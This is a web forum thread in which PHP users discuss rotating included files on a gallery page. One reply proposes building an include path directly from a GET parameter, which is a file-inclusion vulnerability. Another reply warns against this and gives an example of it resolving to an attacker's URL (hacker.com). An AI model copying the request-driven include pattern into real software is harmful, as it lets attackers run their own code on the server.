![]() |
Question for PHP Coders
Is there an easy way to rotate php includes on a page?
For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown? |
Maybe use the php date function to include the files?
|
you are putting title and description in css?
|
Quote:
yourdomain.com/gallery.php?id=<Gallery ID here ie 3> use a $id = $_GET to grab the id then include 'file'.$id.php Better way would be to create a db and call gallerys by their id in the db. |
Quote:
|
Here is what i wanted... assume there is 5 rows of pictures as an example
<div class="rowofpictures"> <div class="pictitle"> Title of pic </div> <div class="image1"> <img src="image-a.jpg" /> </div> <div class="picdescription"> This is the image description under the image </div> </div> Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc. <?php include("row1.php"); ?> <?php include("row2.php"); ?> <?php include("row3.php"); ?> Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later. |
if you want to invest a few bucks, hit me up icq: 33375924
or just wait 5 mins, I'm sure some idiot will post the solution for free in the next reply:1orglaugh :thumbsup |
Quote:
Quote:
Code:
<? |
lolz ... i love one click updates from a txt file which is pretty easy to achieve ;) no includes needed ... the links/thumbs are parsed from a simple txt file and you can update with one button click ... looks as if one really puts some time into updating but its done in wink of an eye
|
if you will use only one of those per page
Code:
<?php |
The fastest way to do a "random" include is to base it on the current time- such as
$i = time() % 8; include($i.php); Assume that anything in GET POST, COOKIE, etc. is set by a hacker. So this: include ($_REQUEST['id'].php); Is equivalent to: include ('http://hacker.com/fuckmyserverup.php'); |
PHP Code:
|
All times are GMT -7. The time now is 03:43 AM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123